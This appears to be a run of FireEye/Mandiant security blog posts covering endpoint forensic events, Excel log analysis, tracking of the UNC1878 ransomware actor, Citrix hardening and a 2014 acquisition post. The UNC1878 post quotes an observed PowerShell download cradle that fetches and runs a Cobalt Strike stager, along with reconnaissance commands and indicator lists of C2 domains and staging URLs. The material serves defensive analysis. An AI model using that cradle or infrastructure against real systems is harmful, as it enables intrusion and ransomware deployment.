An attacker may choose to modify or delete important evidence. If an attacker uses a file shredding tool like Sysinternal’s SDelete, it is unlikely the analyst will recover the original contents of the file. Our solution’s real-time file write events are incredibly useful in situations like this because they record the MD5 hash of the files written and partial contents of the file. File write events also record which process created or modified the file in question.

Table 5 provides an example of a real-time file write event recorded by our solution.

Field

Example

Timestamp (UTC)

2020-03-10 16:42:59.956

Sequence Number

2884312

PID

9392

Process Path

C:\Windows\Temp\legitservice.exe

Username

TEST-DOMAIN\BackupAdmin

Device Path

\Device\HarddiskVolume2

File Path

C:\Windows\Temp\WindowsServiceNT.log

File MD5 Hash

30a82a8a864b6407baf9955822ded8f9

Num Bytes Seen Written

8

Size

658

Writes

4

Event reason

File closed

Closed

TRUE

Base64 Encoded
Data At Lowest Offset

Q3JlYXRpbmcgJ1dpbmRvd3NTZXJ2aWNlTlQubG9nJy
Bsb2dmaWxlIDogT0sNCm1pbWlrYXR6KGNvbW1hbmQ

Text At Lowest Offset

Creating 'WindowsServiceNT.log' logfile : OK....mimikatz(command

Table 5: Example real-time file write event

Based on this real-time file write event, the malicious executable C:\Windows\Temp\legitservice.exe wrote the file C:\Windows\Temp\WindowsServiceNT.log to disk with the MD5 hash 30a82a8a864b6407baf9955822ded8f9. Since the real-time event recorded the beginning of the written file, we can determine the file likely contained Mimikatz credential harvester output which Mandiant has observed commonly starts with OK....mimikatz.

If we investigate a little later, we’ll see a process creation event for C:\Windows\Temp\taskassist.exe with the MD5 file hash 2b5cb081721b8ba454713119be062491 followed by several file write events for this process summarized in Table 6.

Timestamp

File Path

File Size

2020-03-10 16:53:42.351

C:\Windows\Temp\WindowsServiceNT.log

638

2020-03-10 16:53:42.351

C:\Windows\Temp\AAAAAAAAAAAAAAAA.AAA

638

2020-03-10 16:53:42.351

C:\Windows\Temp\BBBBBBBBBBBBBBBB.BBB

638

2020-03-10 16:53:42.351

C:\Windows\Temp\CCCCCCCCCCCCCCCC.CCC

638

 

 

2020-03-10 16:53:42.382

C:\Windows\Temp\XXXXXXXXXXXXXXXX.XXX

638

2020-03-10 16:53:42.382

C:\Windows\Temp\YYYYYYYYYYYYYYYY.YYY

638

2020-03-10 16:53:42.382

C:\Windows\Temp\ZZZZZZZZZZZZZZZZ.ZZZ

638

Table 6: Example timeline of SDelete File write events

Admittedly, this activity may seem strange at a first glance. If we do some research on the its file hash, we’ll see the process is actually SDelete masquerading as C:\Windows\Temp\taskassist.exe. As part of its secure deletion process, SDelete renames the file 26 times in a successive alphabetic manner.

Network Events

Incident responders rarely see evidence of network communication from historical evidence on an endpoint without enhanced logging. Usually, Mandiant relies on NetFlow data, network sensors with full or partial packet capture, or malware analysis to determine the command and control (C2) servers with which a malware sample can communicate. Our solution’s real-time network events record both local and remote network ports, the leveraged protocol, and the relevant process.

Table 7 provides an example of a real-time IPv4 network event recorded by our solution.

Field

Example

Timestamp (UTC)

2020-03-10 16:46:51.690

Sequence Number

2895588

PID

9392

Process + Path

C:\Windows\Temp\legitservice.exe

Username

TEST-DOMAIN\BackupAdmin

Local IP Address

10.0.0.52

Local Port

57472

Remote IP Address

10.0.0.51

Remote Port

443

Protocol

TCP

Table 7: Example real-time network connection event

Based on this real-time IPv4 network event, the malicious executable C:\Windows\Temp\legitservice.exe made an outbound TCP connection to 10.0.0.51:443.

Registry Key Events

By using historical evidence to investigate relevant timeframes and commonly abused registry keys, we can identify malicious or leveraged keys. Real-time registry key events are useful for linking processes to the modified registry keys. They can also show when an attacker deletes or renames a registry key. This is useful to an analyst because the only available timestamp recorded in the registry is the last modified time of a registry key, and this timestamp is updated if a parent key is updated.

Table 8 provides an example of a real-time registry key event recorded by our solution.

Field

Example

Timestamp (UTC)

2020-03-10 16:46:56.409

Sequence Number

2898196

PID

9392

Process + Path

C:\Windows\Temp\legitservice.exe

Username

TEST-DOMAIN\BackupAdmin

Event Type

3

Path

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
LegitWindowsService\ImagePath

Key Path

CurrentControlSet\Services\LegitWindowsService

Original Path

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\LegitWindowsService

Value Name

ImagePath

Value Type

REG_EXPAND_SZ

Base64 Encoded
Value

QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABsAG
UAZwBpAHQAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAAAA==

Text

C:\Windows\Temp\legitservice.exe

Table 8: Example real-time registry key event

For our solution's real-time registry events, we can map the event type to the operation performed using Table 9.

Event Type Value

Operation

1

PreSetValueKey

2

PreDeleteValueKey

3

PostCreateKey, PostCreateKeyEx, PreCreateKeyEx

4

PreDeleteKey

5

PreRenameKey

Table 9: FireEye Endpoint Security real-time registry key event types

Based on this real-time registry key event, the malicious executable C:\Windows\Temp\legitservice.exe created the Windows service LegitWindowsService. If we investigated the surrounding registry keys, we might identify even more information about this malicious service.

Conclusion

The availability of real-time events designed for forensic analysis can fill in gaps that traditional forensic artifacts cannot on their own. Mandiant has seen great value in using real-time events during active-attacker investigations. We have used real-time events to determine the functionality of attacker utilities that were no longer present on disk, to determine users and source network addresses used during malicious remote desktop activity when expected corresponding event logs were missing, and more.

Check out our FireEye Endpoint Security page and Redline page for more information (as well as Redline on the FireEye Market), and take a FireEye Endpoint Security tour today.

Excelerating Analysis, Part 2 — X[LOOKUP] Gon’ Pivot To Ya

In December 2019, we published a blog post on augmenting analysis using Microsoft Excel for various data sets for incident response investigations. As we described, investigations often include custom or proprietary log formats and miscellaneous, non-traditional forensic artifacts. There are, of course, a variety of ways to tackle this task, but Excel stands out as a reliable way to analyze and transform a majority of data sets we encounter.

In our first post, we discussed summarizing verbose artifacts using the CONCAT function, converting timestamps using the TIME function, and using the COUNTIF function for log baselining. In this post, we will cover two additional versatile features of Excel: LOOKUP functions and PivotTables.

For this scenario, we will use a dataset of logon events for an example Microsoft Office 365 (O365) instance to demonstrate how an analyst can enrich information in the dataset. Then we will demonstrate some examples of how to use PivotTables to summarize information and highlight anomalies in the data quickly.

Our data contains the following columns:

  • Description – Event description
  • User – User’s name
  • User Principle Name – email address
  • App – such as Office 365, Sharepoint, etc.
  • Location – Country
  • Date
  • IP address
  • User agent (simplified)
  • Organization – associated with IP address (as identified by O365)


Figure 1: O365 data set

LOOKUP for Data Enrichment

It may be useful to add more information to the data that could help us in analysis that isn’t provided by the original log source. A step FireEye Mandiant often performs during investigations is to take all unique IP addresses and query threat intelligence sources for each IP address for reputation, WHOIS information, connections to known threat actor activity, etc. This grants more information about each IP address that we can take into consideration in our analysis.

While FireEye Mandiant is privy to historical engagement data and Mandiant Threat Intelligence, if security teams or organizations do not have access to commercial threat intelligence feeds, there are numerous open source intelligence services that can be leveraged.

We can also use IP address geolocation services to obtain latitude and longitude related to each source IP address. This information may be useful in identifying anomalous logons based on geographical location.

After taking all source IP addresses, running them against threat intelligence feeds and geolocating them, we have the following data added to a second sheet called “IP Address Intel” in our Excel document:


Figure 2: IP address enrichment

We can already see before we even dive into the logs themselves that we have suspicious activity: The five IP addresses in the 203.0.113.0/24 range in our data are known to be associated with activity connected to a fictional threat actor tracked as TMP.OGRE.

To enrich our original dataset, we will add three columns to our data to integrate the supplementary information: “Latitude,” “Longitude,” and “Threat Intel” (Figure 3). We can use the VLOOKUP or XLOOKUP functions to quickly retrieve the supplementary data and integrate it into our main O365 log sheet.


Figure 3: Enrichment columns

VLOOKUP

The traditional way to look up particular data in another array is by using the VLOOKUP function. We will use the following formula to reference the “Latitude” values for a given IP address:


Figure 4: VLOOKUP formula for Latitude

There are four parts to this formula:

  1. Value to look up:
    • This dictates what cell value we are going to look up more information for. In this case, it is cell G2, which is the IP address.
  2. Table array:
    • This defines the entire array in which we will look up our value and return data from. The first column in the array must contain the value being looked up. In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$D:$15. In other words, we are looking in the other sheet in this workbook we created earlier titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to D15.

      Figure 5: VLOOKUP table array

      Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells.
  3. Column index number:
    • This identifies the column number from which to return data. The first column is considered column 1. We want to return the “Latitude” value for the given IP address, so in the aforementioned example, we tell Excel to return data from column 2.
  4. Range lookup (match type)
    • This part of the formula tells Excel what type of matching to perform on the value being looked up. Excel defaults to “Approximate” matching, which assumes the data is sorted and will match the closest value. We want to perform “Exact” matching, so we put “0” here (“FALSE” is also accepted).

With the VLOOKUP function complete for the “Latitude” data, we can use the fill handle to update this field for the rest of the data set.

To get the values for the “Longitude” and “Threat Intel” columns, we repeat the process by using a similar function and, adjusting the column index number to reference the appropriate columns, then use the fill handle to fill in the rest of the column in our O365 data sheet:

  • For Longitude:
    • =VLOOKUP(G2,'IP Address Intel'!$A$2:$D$15,3,0)
  • For Threat Intel:
    • =VLOOKUP(G2,'IP Address Intel'!$A$2:$D$15,4,0)

Bonus Option: XLOOKUP

The XLOOKUP function in Excel is a more efficient way to reference the threat intelligence data sheet. XLOOKUP is a newer function introduced to Excel to replace the legacy VLOOKUP function and, at the time of writing this post, is only available to “O365 subscribers in the Monthly channel”, according to Microsoft. In this instance, we will also leverage Excel’s dynamic arrays and “spilling” to fill in this data more efficiently, instead of making an XLOOKUP function for each column.

NOTE: To utilize dynamic arrays and spilling, the data we are seeking to enrich cannot be in the form of a “Table” object. Instead, we will apply filters to the top row of our O365 data set by selecting the “Filter” option under “Sort & Filter” in the “Home” ribbon:


Figure 6: Filter option

To reference the threat intelligence data sheet using XLOOKUP, we will use the following formula:


Figure 7: XLOOKUP function for enrichment

There are three parts to this XLOOKUP formula:

  1. Value to lookup:
    • This dictates what cell value we are going to look up more information for. In this case, it is cell G2, which is the IP address.
  2. Array to look in:
    • This will be the array of data in which Excel will search for the value to look up. Excel does exact matching by default for XLOOKUP. In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$A:$15. In other words, we are looking in the other sheet in this workbook titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to A15:

      Figure 8: XLOOKUP array to look in

      Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells.
  3. Array of data to return:
    • This part will be the array of data from which Excel will return data. In this case, Excel will return the data contained within the absolute range of B2 to D15 from the “IP Address Intel” sheet for the value that was looked up. In the aforementioned example formula, it will return the values in the row for the IP address 198.51.100.126:

      Figure 9: Data to be returned from ‘IP Address Intel’ sheet

      Because this is leveraging dynamic arrays and spilling, all three cells of the returned data will populate, as seen in Figure 4.

Now that our dataset is completely enriched by either using VLOOKUP or XLOOKUP, we can start hunting for anomalous activity. As a quick first step, since we know at least a handful of IP addresses are potentially malicious, we can filter on the “Threat Intel” column for all rows that match “TMP.OGRE” and reveal logons with source IP addresses related to known threat actors. Now we have timeframes and suspected compromised accounts to pivot off of for additional hunting through other data.

PIVOT! PIVOT! PIVOT!

One of the most useful tools for highlighting anomalies by summarizing data, performing frequency analysis and quickly obtaining other statistics about a given dataset is Excel’s PivotTable function.

Location Anomalies

Let’s utilize a PivotTable to perform frequency analysis on the location from which users logged in. This type of technique may highlight activity where a user account logged in from a location which is unusual for them.

To create a PivotTable for our data, we can select any cell in our O365 data and select the entire range with Ctrl+A. Then, under the “Insert” tab in the ribbon, select “PivotTable”:


Figure 10: PivotTable selection

This will bring up a window, as seen in Figure 11, to confirm the data for which we want to make a PivotTable (Step 1 in Figure 11). Since we selected our O365 log data set with Ctrl+A, this should be automatically populated. It will also ask where we want to put the PivotTable (Step 2 in Figure 11). In this instance, we created another sheet called “PivotTable 1” to place the PivotTable:


Figure 11: PivotTable creation

Now that the PivotTable is created, we must select how we want to populate the PivotTable using our data. Remember, we are trying to determine the locations from which all users logged in. We will want a row for each user and a sub-row for each location the user has logged in from. Let’s add a count of how many times they logged in from each location as well. We will use the “Date” field to do this for this example:


Figure 12: PivotTable field definitions

Examining this table, we can immediately see there are two users with source location anomalies: Ginger Breadman and William Brody have a small number of logons from “FarFarAway”, which is abnormal for these users based on this data set.

We can add more data to this PivotTable to get a timeframe of this suspicious activity by adding two more “Date” fields to the “Values” area. Excel defaults to “Count” of whatever field we drop in this area, but we will change this to the “Minimum” and “Maximum” values by using the “Value Field Settings”, as seen in Figure 13.


Figure 13: Adding min and max dates

Now we have a PivotTable that shows us anomalous locations for logons, as well as the timeframe in which the logons occurred, so we can hone our investigation. For this example, we also formatted all cells with timestamp values to reflect the format FireEye Mandiant typically uses during analysis by selecting all the appropriate cells, right-clicking and choosing “Format Cells”, and using a “Custom” format of “YYYY-MM-DD HH:MM:SS”.


Figure 14: PivotTable with suspicious locations and timeframe

IP Address Anomalies

Geolocation anomalies may not always be valuable. However, using a similar configuration as the previous example, we can identify suspicious source IP addresses. We will add “User Principle Name” and “IP Address” fields as Rows, and “IP Address” as Values. Let’s also add the “App” field to Columns. Our field settings and resulting table are displayed in Figure 15:


Figure 15: PivotTable with IP addresses and apps

With just a few clicks, we have a summarized table indicating which IP addresses each user logged in from, and which app they logged into. We can quickly identify two users logged in from IP addresses in the 203.0.113.0/24 range six times, and which applications they logged into from each of these IP addresses.

While these are just a couple use cases, there are many ways to format and view evidence using PivotTables. We recommend trying PivotTables on any data set being reviewed with Excel and experimenting with the Rows, Columns, and Values parameters.

We also recommend adjusting the PivotTable options, which can help reformat the table itself into a format that might fit requirements.

Conclusion

These Excel functions are used frequently during investigations at FireEye Mandiant and are considered important forensic analysis techniques. The examples we give here are just a glimpse into the utility of LOOKUP functions and PivotTables. LOOKUP functions can be used to reference a multitude of data sources and can be applied in other situations during investigations such as tracking remediation and analysis efforts.

PivotTables may be used in a variety of ways as well, depending on what data is available, and what sort of information is being analyzed to identify suspicious activity. Employing these techniques, alongside the ones we highlighted previously, on a consistent basis will go a long way in "excelerating" forensic analysis skills and efficiency.

It’s Your Money and They Want It Now — The Cycle of Adversary Pursuit

When we discover new intrusions, we ask ourselves questions that will help us understand the totality of the activity set.

How common is this activity? Is there anything unique or special about this malware or campaign? What is new and what is old in terms of TTPs or infrastructure? Is this being seen anywhere else? What information do I have that substantiates the nature of this threat actor?

To track a fast-moving adversary over time, we exploit organic intrusion data, pivot to other data sets, and make that knowledge actionable for analysts and incident responders, enabling new discoveries and assessments on the actor. The FireEye Advanced Practices team exists to know more about the adversary than anyone else, and by asking and answering questions such as these, we enable analyst action in security efforts. In this blog post, we highlight how our cycle of identification, expansion, and discovery was used to track a financially motivated actor across FireEye’s global data sets.

Identification

On January 29, 2020, FireEye Managed Defense investigated multiple TRICKBOT deployments against a U.S. based client. Shortly after initial deployment, TRICKBOT’s networkDll module ran the following network reconnaissance commands (Figure 1).

ipconfig /all
net config workstation
net view /all
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts

Figure 1: Initial Reconnaissance

Approximately twenty minutes after reconnaissance, the adversary ran a PowerShell command to download and execute a Cobalt Strike HTTPS BEACON stager in memory (Figure 2).

cmd.exe /c powershell.exe -nop –w hidden –c “IEX ((new-object net.webclient).downloadstring(‘hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt’))”

Figure 2: PowerShell download cradle used to request a Cobalt Strike stager

Six minutes later, Managed Defense identified evidence of enumeration and attempted lateral movement through the BEACON implant. Managed Defense alerted the client of the activity and the affected hosts were contained, stopping the intrusion in its tracks. A delta of approximately forty-six minutes between a TRICKBOT infection and attempted lateral movement was highly unusual and, along with the clever masquerade domain, warranted further examination by our team.

Although light, indicators from this intrusion were distinct enough to create an uncategorized threat group, referred to as UNC1878. At the time of initial clustering, UNC1878’s intent was not fully understood due to the rapid containment of the intrusion by Managed Defense. By creating this label, we are able to link activity from the Managed Defense investigation into a single entity, allowing us to expand our understanding of this group and track their activity over time. This is especially important when dealing with campaigns involving mass malware, as it helps delineate the interactive actor from the malware campaign they are leveraging. For more information on our clustering methodology, check out our post about how we analyze, separate, or merge these clusters at scale.

Expansion

Pivoting on the command and control (C2) domain allowed us to begin building a profile of UNC1878 network infrastructure. WHOIS records for cylenceprotect[.]com (Figure 3) revealed that the domain was registered on January 27, 2020, with the registrar "Hosting Concepts B.V. d/b/a Openprovider", less than two days before we saw this domain used in activity impacting the Managed Defense customer.

Domain Name: cylenceprotect.com
Registry Domain ID: 2485487352_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrar.eu
Registrar URL: http://www.registrar.eu
Updated Date: 2020-01-28T00:35:43Z
Creation Date: 2020-01-27T23:32:18Z
Registrar Registration Expiration Date: 2021-01-27T23:32:18Z
Registrar: Hosting Concepts B.V. d/b/a Openprovider

Figure 3: WHOIS record for the domain cylenceprotect[.]com

Turning our attention to the server, the domain resolved to 45.76.20.140, an IP address owned by the VPS provider Choopa. In addition, the domain used self-hosted name servers ns1.cylenceprotect[.]com and ns2.cylenceprotect[.]com, which also resolved to the Choopa IP address. Network scan data for the server uncovered a certificate on port 80 and 443, a snippet of which can be seen in Figure 4.

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            03:a8:60:02:c7:dd:7f:88:5f:2d:86:0d:88:41:e5:3e:25:f0
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
        Validity
            Not Before: Jan 28 02:02:14 2020 GMT
            Not After : Apr 27 02:02:14 2020 GMT
        Subject: CN=cylenceprotect[.]com

Figure 4: TLS Certificate for the domain cylenceprotect[.]com

The certificate was issued by Let’s Encrypt, with the earliest validity date within 24 hours of the activity detected by Managed Defense, substantiating the speed in which this threat actor operates. Along with the certificate in Figure 4, we also identified the default generated, self-signed Cobalt Strike certificate (Figure 5) on port 54546 (50050 by default).

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1843990795 (0x6de9110b)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike
        Validity
            Not Before: Jan 28 03:06:30 2020 GMT
            Not After : Apr 27 03:06:30 2020 GMT
        Subject: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike

Figure 5: Default Cobalt Strike TLS Certificate used by UNC1878

Similar to the certificate on port 80 and 443, the earliest validity date was again within 24 hours of the intrusion identified by Managed Defense. Continuing analysis on the server, we acquired the BEACON stager and subsequent BEACON payload, which was configured to use the Amazon malleable C2 profile.

While these indicators may not hold significant weight on their own, together they create a recognizable pattern to fuel proactive discovery of related infrastructure. We began hunting for servers that exhibited the same characteristics as those used by UNC1878. Using third-party scan data, we quickly identified additional servers that matched a preponderance of UNC1878 tradecraft:

  • Domains typically comprised of generic IT or security related terms such as “update”, “system”, and “service”.
  • Domains registered with “Hosting Concepts B.V. d/b/a Openprovider" as early as December 19, 2019.
  • Self-hosted name servers.
  • Let’s Encrypt certificates on port 80.
  • Virtual private servers hosted predominantly by Choopa.
  • BEACON payloads configured with the Amazon malleable C2 profile.
  • Cobalt Strike Teams Servers on non-standard ports.

Along with certificates matching UNC1878 tradecraft, we also found self-signed Armitage certificates, indicating this group may use multiple offensive security tools.

Pivoting on limited indicators extracted from a single Managed Defense intrusion, a small cluster of activity was expanded into a more diverse set of indicators cardinal to UNC1878. While the objective and goal of this threat actor had not yet manifested, the correlation of infrastructure allowed our team to recognize this threat actor’s operations against other customers.

Discovery

With an established modus operandi for UNC1878, our team quickly identified several related intrusions in support of FireEye Mandiant investigations over the next week. Within two days of our initial clustering and expansion of UNC1878 from the original Managed Defense investigation, Mandiant Incident Responders were investigating activity at a U.S. based medical equipment company with several indicators we had previously identified and attributed to UNC1878. Attributed domains, payloads and methodologies provided consultants with a baseline to build detections on, as well as a level of confidence in the actor’s capabilities and speed in which they operate.

Three days later, UNC1878 was identified during another incident response engagement at a restaurant chain. In this engagement, Mandiant consultants found evidence of attempted deployment of RYUK ransomware on hundreds of systems, finally revealing UNC1878’s desired end goal. In the following weeks, we continued to encounter UNC1878 in various phases of their intrusions at several Mandiant Incident Response and Managed Defense customers.

While services data offers us a depth of understanding into these intrusions, we turn to our product telemetry to understand the breadth of activity, getting a better worldview and perspective on the global prevalence of this threat actor. This led to the discovery of an UNC1878 intrusion at a technology company, resulting in Mandiant immediately notifying the affected customer. By correlating multiple UNC1878 intrusions across our services and product customers, it became evident that the targeting was indiscriminate, a common characteristic of opportunistic ransomware campaigns.

Although initially there were unanswered questions surrounding UNC1878’s intent, we were able to provide valuable insights into their capabilities to our consultants and analysts. In turn, the intrusion data gathered during these engagements continued the cycle of building our understanding of UNC1878’s tradecraft, enabling our responders to handle these incidents swiftly in the face of imminent ransomware deployment.

Conclusion

Threat actors continue to use mass malware campaigns to establish footholds into target environments, followed by interactive operations focused on deploying ransomware such as RYUK, DOPPLEPAYMER and MAZE. Looking at the overall trend of intrusions FireEye responds to, the growing shift from traditional PCI theft to ransomware has allowed threat actors such as UNC1878 to widen their scope and increase their tempo, costing organizations millions of dollars due to business disruption and ransom payments. However, apart from their speed, UNC1878 does not stand out among the increasing number of groups following this trend, and should not be the key takeaway of this blog post.

The cycle of analysis and discovery used for UNC1878 lies at the core of our team’s mission to rapidly detect and pursue impactful adversaries at scale. Starting from a singular intrusion at a Managed Defense client, we were able to discover UNC1878 activity at multiple customers. Using our analysis of the early stages of their activity allowed us to pivot and pursue this actor across otherwise unrelated investigations. As we refine and expand our understanding of UNC1878’s tradecraft, our team enables Mandiant and Managed Defense to efficiently identify, respond to, and eradicate a financially motivated threat actor whose end goal could cripple targeted organizations. The principles applied in pursuit of this actor are crucial to tracking any adversary and are ultimately how the Advanced Practices team surfaces meaningful activity across the FireEye ecosystem.

Acknowledgements

Thank you to Andrew Thompson, Dan Perez, Steve Miller, John Gorman and Brendan McKeague for technical review of this content. In addition, thank you to the frontline responders harvesting valuable intrusion data that enables our research.

Indicators of Compromise

Domains

  • aaatus[.]com
  • avrenew[.]com
  • besttus[.]com
  • bigtus[.]com
  • brainschampions[.]com
  • checkwinupdate[.]com
  • ciscocheckapi[.]com
  • cleardefencewin[.]com
  • cmdupdatewin[.]com
  • comssite[.]com
  • conhostservice[.]com
  • cylenceprotect[.]com
  • defenswin[.]com
  • easytus[.]com
  • findtus[.]com
  • firsttus[.]com
  • freeallsafe[.]com
  • freeoldsafe[.]com
  • greattus[.]com
  • havesetup[.]net
  • iexploreservice[.]com
  • jomamba[.]best
  • livecheckpointsrs[.]com
  • livetus[.]com
  • lsassupdate[.]com
  • lsasswininfo[.]com
  • microsoftupdateswin[.]com
  • myservicebooster[.]com
  • myservicebooster[.]net
  • myserviceconnect[.]net
  • myserviceupdater[.]com
  • myyserviceupdater[.]com
  • renovatesystem[.]com
  • service-updater[.]com
  • servicesbooster[.]com
  • servicesbooster[.]org
  • servicesecurity[.]org
  • serviceshelpers[.]com
  • serviceupdates[.]net
  • serviceuphelper[.]com
  • sophosdefence[.]com
  • target-support[.]online
  • taskshedulewin[.]com
  • timesshifts[.]com
  • topsecurityservice[.]net
  • topservicehelper[.]com
  • topservicesbooster[.]com
  • topservicesecurity[.]com
  • topservicesecurity[.]net
  • topservicesecurity[.]org
  • topservicesupdate[.]com
  • topservicesupdates[.]com
  • topserviceupdater[.]com
  • update-wind[.]com
  • updatemanagir[.]us
  • updatewinlsass[.]com
  • updatewinsoftr[.]com
  • web-analysis[.]live
  • windefenceinfo[.]com
  • windefens[.]com
  • winsysteminfo[.]com
  • winsystemupdate[.]com
  • worldtus[.]com
  • yoursuperservice[.]com

IP Addresses

  • 31.7.59.141
  • 45.32.30.162
  • 45.32.130.5
  • 45.32.161.213
  • 45.32.170.9
  • 45.63.8.219
  • 45.63.95.187
  • 45.76.20.140
  • 45.76.167.35
  • 45.76.231.195
  • 45.77.58.172
  • 45.77.89.31
  • 45.77.98.157
  • 45.77.119.212
  • 45.77.153.72
  • 45.77.206.105
  • 63.209.33.131
  • 66.42.97.225
  • 66.42.99.79
  • 79.124.60.117
  • 80.240.18.106
  • 81.17.25.210
  • 95.179.147.215
  • 95.179.210.8
  • 95.179.215.228
  • 96.30.192.141
  • 96.30.193.57
  • 104.156.227.250
  • 104.156.245.0
  • 104.156.250.132
  • 104.156.255.79
  • 104.238.140.239
  • 104.238.190.126
  • 108.61.72.29
  • 108.61.90.90
  • 108.61.176.237
  • 108.61.209.123
  • 108.61.242.184
  • 140.82.5.67
  • 140.82.10.222
  • 140.82.27.146
  • 140.82.60.155
  • 144.202.12.197
  • 144.202.83.4
  • 149.28.15.247
  • 149.28.35.35
  • 149.28.50.31
  • 149.28.55.197
  • 149.28.81.19
  • 149.28.113.9
  • 149.28.122.130
  • 149.28.246.25
  • 149.248.5.240
  • 149.248.56.113
  • 149.248.58.11
  • 151.106.56.223
  • 155.138.135.182
  • 155.138.214.247
  • 155.138.216.133
  • 155.138.224.221
  • 207.148.8.61
  • 207.148.15.31
  • 207.148.21.17
  • 207.246.67.70
  • 209.222.108.106
  • 209.250.255.172
  • 216.155.157.249
  • 217.69.15.175

BEACON Staging URLs

  • hxxp://104.156.255[.]79:80/avbcbgfyhunjmkmk
  • hxxp://149.28.50[.]31:80/adsrxdfcffdxfdsgfxzxds
  • hxxp://149.28.81[.]19:80/ajdlkashduiqwhuyeu12312g3yugshdahqjwgye1g2uy31u1
  • hxxp://45.32.161[.]213:80/ephfusaybuzabegaexbkakskjfgksajgbgfckskfnrdgnkhdsnkghdrngkhrsngrhgcngyggfxbgufgenwfxwgfeuyenfgx
  • hxxp://45.63.8[.]219:80/ajhgfrtyujhytr567uhgfrt6y789ijhg
  • hxxp://66.42.97[.]225:80/aqedfy345yu9876red45f6g78j90
  • hxxp://findtus[.]com/akkhujhbjcjcjhufuuljlvu
  • hxxp://thedemocraticpost[.]com/kflmgkkjdfkmkfl
  • hxxps://brainschampions[.]com:443/atrsgrtehgsetrh5ge
  • hxxps://ciscocheckapi[.]com:80/adsgsergesrtvfdvsa
  • hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt
  • hxxps://havesetup[.]net/afgthyjuhtgrfety
  • hxxps://servicesbooster[.]org:443/sfer4f54
  • hxxps://servicesecurity[.]org:443/fuhvbjk
  • hxxps://timesshifts[.]com:443/akjhtyrdtfyguhiugyft
  • hxxps://timesshifts[.]com:443/ry56rt6yh5rth
  • hxxps://update-wind[.]com/aergerhgrhgeradgerg
  • hxxps://updatemanagir[.]us:80/afvSfaewfsdZFAesf

Citrix XenApp and XenDesktop Hardening Guidance

A Joint Whitepaper from Mandiant and Citrix

Throughout the course of Mandiant’s Red Team and Incident Response engagements, we frequently identify a wide array of misconfigured technology solutions, including Citrix XenApp and XenDesktop.

We often see attackers leveraging stolen credentials from third parties, accessing Citrix solutions, breaking out of published applications, accessing the underlying operating systems, and moving laterally to further compromise the environment. Our experience shows that attackers are increasingly using Citrix solutions to remotely access victim environments post-compromise, instead of using traditional backdoors, remote access tools, or other types of malware. Using a legitimate means of remote access enables attackers to blend in with other users and fly under the radar of security monitoring tools.

Citrix provides extensive security hardening guidance and templates to their customers to mitigate the risk of these types of attacks. The guidance is contained in product-specific eDocs, Knowledge Base articles and detailed Common Criteria configurations. System administrators (a number of them wearing many hats and juggling multiple projects) may not have the time to review all of the hardening documentation available, so Mandiant and Citrix teamed up to provide guidance on the most significant risks posed to Citrix XenApp and XenDesktop implementations in a single white paper.

This white paper covers risks and official Citrix hardening guidance for the following topics:

  • Environment and Application Jailbreaking
  • Network Boundary Jumping
  • Authentication Weaknesses
  • Authorization Weaknesses
  • Inconsistent Defensive Measures
  • Non-configured or Misconfigured Logging and Alerting

The white paper is available here.

Leveraging the Power of Solutions and Intelligence

Welcome to my first post as a FireEye™ employee! Many of you have asked me what I think of FireEye's acquisition of Mandiant. One of the aspects of the new company that I find most exciting is our increased threat intelligence capabilities. This post will briefly explore what that means for our customers, prospects, and the public.

By itself, Mandiant generates threat intelligence in a fairly unique manner from three primary sources. First, our professional services division learns about adversary tools, tactics, and procedures (TTPs) by assisting intrusion victims. This "boots on the ground" offering is unlike any other, in terms of efficiency (a small number of personnel required), speed (days or weeks onsite, instead of weeks or months), and effectiveness (we know how to remove advanced foes). By having consultants inside a dozen or more leading organizations every week of the year, Mandiant gains front-line experience of cutting-edge intrusion activity. Second, the Managed Defense™ division operates our software and provides complementary services on a multi-year subscription basis. This team develops long-term counter-intrusion experience by constantly assisting another set of customers in a managed security services model. Finally, Mandiant's intelligence team acquires data from a variety of sources, fusing it with information from professional services and managed defense. The output of all this work includes deliverables such as the annual M-Trends report and last year's APT1 document, both of which are free to the public. Mandiant customers have access to more intelligence through our software and services.

As a security software company, FireEye deploys powerful appliances into customer environments to inspect and (if so desired) quarantine malicious content. Most customers choose to benefit from the cloud features of the FireEye product suite. This decision enables community self-defense and exposes a rich collection of the world's worst malware. As millions more instances of FireEye's MVX technology expand to mobile, cloud and data center environments, all of us benefit in terms of protection and visibility. Furthermore, FireEye's own threat intelligence and services components generate knowledge based on their visibility into adversary software and activity. Recent examples include breaking news on Android malware, identifying Yahoo! systems serving malware, and exploring "cyber arms" dealers. Like Mandiant, FireEye's customers benefit from intelligence embedded into the MVX platforms.

Many have looked at the Mandiant and FireEye combination from the perspective of software and services. While these are important, both ultimately depend on access to the best threat intelligence available. As a combined entity, FireEye can draw upon nearly 2,000 employees in 40 countries, with a staff of security consultants, analysts, engineers, and experts not found in any other private organization. Stay tuned to the FireEye and Mandiant blogs as we work to provide an integrated view of adversary activity throughout 2014.

I hope you can attend the FireEye + Mandiant - 4 Key Steps to Continuous Threat Protection webinar on Wednesday, Jan 29 at 2pm ET. During the webinar Manish Gupta, FireEye SVP of Products, and Dave Merkel, Mandiant CTO and VP of Products will discuss why traditional IT security defenses are no longer the safeguards they once were and what's now needed to protect against today's advanced threats.

Best of the Best in 2013: The Armory

